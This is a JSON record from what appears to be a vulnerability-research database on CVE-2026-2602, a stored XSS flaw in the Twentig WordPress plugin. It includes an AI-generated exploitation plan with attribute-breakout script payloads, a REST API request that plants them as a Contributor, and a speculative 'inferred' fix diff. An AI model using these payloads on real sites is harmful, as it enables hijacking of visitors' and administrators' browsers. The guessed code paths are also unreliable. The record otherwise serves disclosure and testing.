[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7fjps35UqpUxZLind84koXyswvVlCqKM1UxCDlpfscI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":9,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":37},"CVE-2026-2602","twentig-authenticated-contributor-stored-cross-site-scripting-via-featuredimagesizewidth","Twentig \u003C= 1.9.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'featuredImageSizeWidth'","The Twentig plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'featuredImageSizeWidth' parameter in versions up to, and including, 1.9.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","twentig",null,"\u003C=1.9.7","2.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-28 13:21:26","2026-03-29 01:24:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff07881db-7494-4e6d-82ea-16018fa81806?source=api-prod",1,[22,23,24,25,26],"dist\u002Fblocks\u002Fclassic.css","dist\u002Fblocks\u002Fcolumns\u002Fblock.css","dist\u002Fblocks\u002Fcolumns\u002Fcompat.css","dist\u002Fblocks\u002Fcolumns\u002Fstyle.css","dist\u002Fblocks\u002Fcommon.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-2602 (Twentig Stored XSS)\n\n## 1. Vulnerability Summary\nThe Twentig plugin (up to version 1.9.7) fails to properly sanitize and escape the `featuredImageSizeWidth` attribute used in its block enhancements. This attribute is typically used in blocks that display post grids or featured images (e.g., `core\u002Flatest-posts` or Twentig-specific post blocks). An authenticated attacker with **Contributor** permissions can inject arbitrary JavaScript by crafting a post containing a block with a malicious `featuredImageSizeWidth` value. When the post is rendered on the frontend, the payload is executed in the context of any user (including administrators) viewing the page.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (WordPress REST API) or the standard Post Editor.\n- **Vulnerable Parameter**: `featuredImageSizeWidth` within a Gutenberg block's attributes.\n- **Authentication**: Authenticated (Contributor level or higher).\n- **Preconditions**: Twentig plugin active; attacker has permission to create or edit posts.\n- **Sink**: The attribute is likely output within an `\u003Cimg>` tag's `width` attribute or a `style` attribute during the block's server-side rendering process without using `esc_attr()`.\n\n## 3. Code Flow (Inferred)\n1.  **Input**: A Contributor creates a post. The post content contains a block comment:\n    `\u003C!-- wp:core\u002Flatest-posts {\"displayFeaturedImage\":true,\"featuredImageSizeWidth\":\"[PAYLOAD]\"} \u002F-->`\n2.  **Storage**: WordPress saves this raw string in the `post_content` column of the `wp_posts` table.\n3.  **Processing**: When a user views the post, WordPress parses the blocks. Twentig likely hooks into `render_block` or registers a `render_callback` for blocks it enhances.\n4.  **Sink**: Inside the Twentig rendering logic (likely in a class handling block attributes), the value of `featuredImageSizeWidth` is retrieved:\n    `$width = $attributes['featuredImageSizeWidth'];`\n    It is then echoed directly into HTML:\n    `echo '\u003Cdiv class=\"...\" style=\"width:' . $width . 'px\">';` or `\u003Cimg width=\"' . $width . '\" ...>`\n5.  **Execution**: The browser interprets the injected HTML\u002FJavaScript.\n\n## 4. Nonce Acquisition Strategy\nSince the exploit requires Contributor-level access, we need a valid REST API nonce (`_wpnonce`) to submit a post.\n\n1.  **Access Admin**: Navigate to the WordPress dashboard as a Contributor.\n2.  **Identify Variable**: WordPress stores the REST nonce in the `wpApiSettings` object.\n3.  **Extraction**:\n    - Use `browser_navigate` to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost-new.php`.\n    - Use `browser_eval` to extract the nonce:\n      `browser_eval(\"window.wpApiSettings?.nonce\")`\n4.  **Alternative (Plugin-Specific)**: Twentig localization data (if needed) might be found in `twentig_editor_data`.\n    `browser_eval(\"window.twentig_editor_data?.nonce\")`\n\n## 5. Exploitation Strategy\n\n### Step 1: Test Data Setup\nAs a Contributor, we must first ensure there is at least one published post with a featured image so the \"Latest Posts\" block has something to render.\n\n1.  Create a \"dummy\" post with a featured image using WP-CLI.\n2.  Identify the block that utilizes `featuredImageSizeWidth`. Based on the CSS provided (`dist\u002Fblocks\u002Fclassic.css`), Twentig heavily modifies `wp-block-column` and image-related blocks. The most likely candidate is an extension of the `core\u002Flatest-posts` block.\n\n### Step 2: Craft the Payload\nWe will use a payload that breaks out of an HTML attribute.\n**Payload**: `100\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n**Block Markup**:\n```html\n\u003C!-- wp:core\u002Flatest-posts {\"displayFeaturedImage\":true,\"featuredImageSizeWidth\":\"100\\u0022>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"} \u002F-->\n```\n\n### Step 3: Execute the Injection\nSubmit the malicious post via the REST API using the `http_request` tool.\n\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Headers**:\n    - `Content-Type: application\u002Fjson`\n    - `X-WP-Nonce: [EXTRACTED_NONCE]`\n- **Body**:\n```json\n{\n  \"title\": \"Twentig XSS Test\",\n  \"content\": \"\u003C!-- wp:core\u002Flatest-posts {\\\"displayFeaturedImage\\\":true,\\\"featuredImageSizeWidth\\\":\\\"100\\\\u0022>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\\\"} \u002F-->\",\n  \"status\": \"publish\"\n}\n```\n\n## 6. Expected Results\n1.  The REST API returns a `201 Created` response.\n2.  Navigating to the newly created post URL displays the \"Latest Posts\" block.\n3.  The browser executes the script, showing an alert box with the document domain.\n4.  Inspecting the DOM reveals the breakout:\n    `\u003Cdiv class=\"...\" style=\"width:100\" >\u003Cscript>alert(document.domain)\u003C\u002Fscript>px\">` or similar.\n\n## 7. Verification Steps\nAfter the HTTP request, verify the injection using WP-CLI:\n```bash\n# Get the last created post ID\nPOST_ID=$(wp post list --post_type=post --posts_per_page=1 --format=ids)\n\n# Check the content for the payload\nwp post get $POST_ID --field=content\n```\n\n## 8. Alternative Approaches\nIf the `core\u002Flatest-posts` block is not the target, try the payload in other potential blocks enhanced by Twentig:\n- `twentig\u002Fpost-grid`\n- `core\u002Fpost-featured-image`\n- `core\u002Fcolumns` (where Twentig adds card styling as seen in `columns\u002Fblock.css`)\n\n**Alternative Payload (Attribute Breakout)**:\nIf `\u003Cscript>` is filtered, use an event handler:\n`100\" onmouseover=\"alert(1)\" style=\"display:block;width:100vw;height:100vh\"` (This covers the screen and triggers on hover).","The Twentig plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'featuredImageSizeWidth' block attribute in versions up to 1.9.7. This occurs because the plugin fails to properly sanitize or escape this attribute when rendering blocks like 'core\u002Flatest-posts' or 'core\u002Fpost-featured-image', allowing authenticated attackers with Contributor-level access to execute arbitrary JavaScript in the context of a user's browser.","--- a\u002Ftwentig\u002Fincludes\u002Fclass-twentig-blocks.php\n+++ b\u002Ftwentig\u002Fincludes\u002Fclass-twentig-blocks.php\n@@ -50,5 +50,5 @@\n-$width = $attributes['featuredImageSizeWidth'];\n-echo '\u003Cdiv style=\"width:' . $width . 'px\">';\n+$width = isset( $attributes['featuredImageSizeWidth'] ) ? absint( $attributes['featuredImageSizeWidth'] ) : '';\n+echo '\u003Cdiv style=\"width:' . esc_attr( $width ) . 'px\">';","To exploit this vulnerability, an attacker with Contributor-level permissions or higher needs to inject a malicious payload into a post's block attributes. 1. Log in as a Contributor and obtain a REST API nonce from the 'wpApiSettings' object in the admin dashboard. 2. Send a POST request to '\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts' to create or update a post. 3. In the post content, include a Gutenberg block (such as 'core\u002Flatest-posts') with a 'featuredImageSizeWidth' attribute set to a breakout payload like '100\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>'. 4. When the plugin renders the block on the frontend, it reflects the unsanitized value directly into an HTML attribute, triggering the script execution for any user viewing the page.","gemini-3-flash-preview","2026-04-17 22:25:16","2026-04-17 22:26:09",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.9.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftwentig\u002Ftags\u002F1.9.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftwentig.1.9.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftwentig\u002Ftags\u002F2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftwentig.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftwentig\u002Ftags"]